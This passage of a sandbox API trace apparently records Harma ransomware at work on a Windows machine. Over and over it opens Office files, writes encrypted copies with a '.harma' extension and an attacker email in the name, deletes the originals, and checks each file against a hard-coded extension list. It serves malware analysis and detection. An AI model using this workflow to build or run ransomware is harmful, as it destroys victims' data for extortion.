office\\office14\\1033\\hvacduct.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0154.656] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=1309) returned 1 [0154.656] CloseHandle (hObject=0x338) returned 1 [0154.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd")) returned 0x20 [0154.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.668] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.668] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0154.701] GetLastError () returned 0x0 [0154.701] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x51d, lpOverlapped=0x0) returned 1 [0154.726] WriteFile (in: hFile=0x344, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x520, lpOverlapped=0x0) returned 1 [0154.727] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.727] WriteFile (in: hFile=0x344, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.727] SetEndOfFile (hFile=0x344) returned 1 [0154.727] CloseHandle (hObject=0x344) returned 1 [0154.728] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.728] SetEndOfFile (hFile=0x384) returned 1 [0154.730] CloseHandle (hObject=0x384) returned 1 [0154.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd")) returned 1 [0154.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0154.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0154.731] lstrlenW (lpString=".doc") returned 4 [0154.731] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0154.731] lstrlenW (lpString=".docx") returned 5 [0154.731] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0154.731] lstrlenW (lpString=".pdf") returned 4 [0154.731] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0154.731] lstrlenW (lpString=".xls") returned 4 [0154.731] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0154.731] lstrlenW (lpString=".xlsx") returned 5 [0154.731] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0154.731] lstrlenW (lpString=".ppt") returned 4 [0154.731] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0154.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0154.731] lstrlenW (lpString=".zip") returned 4 [0154.731] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0154.731] lstrlenW (lpString=".rar") returned 4 [0154.731] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0154.731] lstrlenW (lpString=".bz2") returned 4 [0154.731] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0154.732] lstrlenW (lpString=".7z") returned 3 [0154.732] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0154.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0154.732] lstrlenW (lpString=".dbf") returned 4 [0154.732] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0154.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0154.732] lstrlenW (lpString=".1cd") returned 4 [0154.732] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0154.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0154.732] lstrlenW (lpString=".jpg") returned 4 [0154.732] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0154.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0154.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0154.732] lstrlenW (lpString=".doc") returned 4 [0154.732] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0154.732] lstrlenW (lpString=".docx") returned 5 [0154.732] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0154.732] lstrlenW (lpString=".pdf") returned 4 [0154.732] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0154.732] lstrlenW (lpString=".xls") returned 4 [0154.732] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0154.732] lstrlenW (lpString=".xlsx") returned 5 [0154.732] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0154.732] lstrlenW (lpString=".ppt") returned 4 [0154.732] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0154.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0154.732] lstrlenW (lpString=".zip") returned 4 [0154.732] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0154.733] lstrlenW (lpString=".rar") returned 4 [0154.733] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0154.733] lstrlenW (lpString=".bz2") returned 4 [0154.733] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0154.733] lstrlenW (lpString=".7z") returned 3 [0154.733] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0154.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0154.733] lstrlenW (lpString=".dbf") returned 4 [0154.733] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0154.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0154.733] lstrlenW (lpString=".1cd") returned 4 [0154.733] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0154.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0154.733] lstrlenW (lpString=".jpg") returned 4 [0154.733] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0154.733] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0154.733] lstrlenW (lpString="INFOPATHEDITOR_COL.HXC") returned 22 [0154.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.734] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=666) returned 1 [0154.734] CloseHandle (hObject=0x384) returned 1 [0154.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc")) returned 0x20 [0154.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.735] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.735] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0154.736] GetLastError () returned 0x0 [0154.736] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x29a, lpOverlapped=0x0) returned 1 [0154.740] WriteFile (in: hFile=0x344, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0154.741] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.741] WriteFile (in: hFile=0x344, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x100, lpOverlapped=0x0) returned 1 [0154.741] SetEndOfFile (hFile=0x344) returned 1 [0154.742] CloseHandle (hObject=0x344) returned 1 [0154.742] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.742] SetEndOfFile (hFile=0x384) returned 1 [0154.744] CloseHandle (hObject=0x384) returned 1 [0154.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc")) returned 1 [0154.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0154.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0154.745] lstrlenW (lpString=".doc") returned 4 [0154.745] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0154.745] lstrlenW (lpString=".docx") returned 5 [0154.745] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0154.745] lstrlenW (lpString=".pdf") returned 4 [0154.745] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0154.745] lstrlenW (lpString=".xls") returned 4 [0154.745] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0154.745] lstrlenW (lpString=".xlsx") returned 5 [0154.745] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0154.745] lstrlenW (lpString=".ppt") returned 4 [0154.745] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0154.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0154.746] lstrlenW (lpString=".zip") returned 4 [0154.746] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0154.746] lstrlenW (lpString=".rar") returned 4 [0154.746] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0154.746] lstrlenW (lpString=".bz2") returned 4 [0154.746] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0154.746] lstrlenW (lpString=".7z") returned 3 [0154.746] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0154.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0154.746] lstrlenW (lpString=".dbf") returned 4 [0154.746] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0154.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0154.746] lstrlenW (lpString=".1cd") returned 4 [0154.746] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0154.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0154.746] lstrlenW (lpString=".jpg") returned 4 [0154.746] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0154.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0154.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0154.746] lstrlenW (lpString=".doc") returned 4 [0154.746] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0154.746] lstrlenW (lpString=".docx") returned 5 [0154.746] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0154.746] lstrlenW (lpString=".pdf") returned 4 [0154.746] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0154.747] lstrlenW (lpString=".xls") returned 4 [0154.747] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0154.747] lstrlenW (lpString=".xlsx") returned 5 [0154.747] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0154.747] lstrlenW (lpString=".ppt") returned 4 [0154.747] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0154.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0154.747] lstrlenW (lpString=".zip") returned 4 [0154.747] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0154.747] lstrlenW (lpString=".rar") returned 4 [0154.747] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0154.747] lstrlenW (lpString=".bz2") returned 4 [0154.747] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0154.747] lstrlenW (lpString=".7z") returned 3 [0154.747] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0154.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0154.747] lstrlenW (lpString=".dbf") returned 4 [0154.747] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0154.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0154.747] lstrlenW (lpString=".1cd") returned 4 [0154.747] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0154.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0154.747] lstrlenW (lpString=".jpg") returned 4 [0154.747] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0154.748] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0154.748] lstrlenW (lpString="INFOPATHEDITOR_COL.HXT") returned 22 [0154.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0155.071] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=214) returned 1 [0155.071] CloseHandle (hObject=0x368) returned 1 [0155.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt")) returned 0x20 [0155.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.280] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.280] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0155.280] GetLastError () returned 0x0 [0155.280] ReadFile (in: hFile=0x374, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xd6, lpOverlapped=0x0) returned 1 [0155.281] WriteFile (in: hFile=0x37c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0155.282] ReadFile (in: hFile=0x374, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0155.282] WriteFile (in: hFile=0x37c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x100, lpOverlapped=0x0) returned 1 [0155.282] SetEndOfFile (hFile=0x37c) returned 1 [0155.283] CloseHandle (hObject=0x37c) returned 1 [0155.283] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.283] SetEndOfFile (hFile=0x374) returned 1 [0155.285] CloseHandle (hObject=0x374) returned 1 [0155.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt")) returned 1 [0155.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0155.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0155.286] lstrlenW (lpString=".doc") returned 4 [0155.286] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0155.286] lstrlenW (lpString=".docx") returned 5 [0155.286] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0155.286] lstrlenW (lpString=".pdf") returned 4 [0155.286] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0155.287] lstrlenW (lpString=".xls") returned 4 [0155.287] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0155.287] lstrlenW (lpString=".xlsx") returned 5 [0155.287] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0155.287] lstrlenW (lpString=".ppt") returned 4 [0155.287] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0155.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0155.287] lstrlenW (lpString=".zip") returned 4 [0155.287] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0155.287] lstrlenW (lpString=".rar") returned 4 [0155.287] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0155.287] lstrlenW (lpString=".bz2") returned 4 [0155.287] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0155.287] lstrlenW (lpString=".7z") returned 3 [0155.287] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0155.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0155.287] lstrlenW (lpString=".dbf") returned 4 [0155.287] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0155.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0155.287] lstrlenW (lpString=".1cd") returned 4 [0155.287] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0155.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0155.287] lstrlenW (lpString=".jpg") returned 4 [0155.287] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0155.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0155.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0155.287] lstrlenW (lpString=".doc") returned 4 [0155.287] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0155.287] lstrlenW (lpString=".docx") returned 5 [0155.287] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0155.287] lstrlenW (lpString=".pdf") returned 4 [0155.288] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0155.288] lstrlenW (lpString=".xls") returned 4 [0155.288] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0155.288] lstrlenW (lpString=".xlsx") returned 5 [0155.288] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0155.288] lstrlenW (lpString=".ppt") returned 4 [0155.288] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0155.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0155.288] lstrlenW (lpString=".zip") returned 4 [0155.288] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0155.288] lstrlenW (lpString=".rar") returned 4 [0155.288] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0155.288] lstrlenW (lpString=".bz2") returned 4 [0155.288] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0155.288] lstrlenW (lpString=".7z") returned 3 [0155.288] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0155.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0155.288] lstrlenW (lpString=".dbf") returned 4 [0155.288] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0155.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0155.288] lstrlenW (lpString=".1cd") returned 4 [0155.288] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0155.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0155.288] lstrlenW (lpString=".jpg") returned 4 [0155.288] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0155.288] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0155.288] lstrlenW (lpString="INFOPATH_COL.HXC") returned 16 [0155.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.289] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=636) returned 1 [0155.289] CloseHandle (hObject=0x374) returned 1 [0155.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc")) returned 0x20 [0155.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft 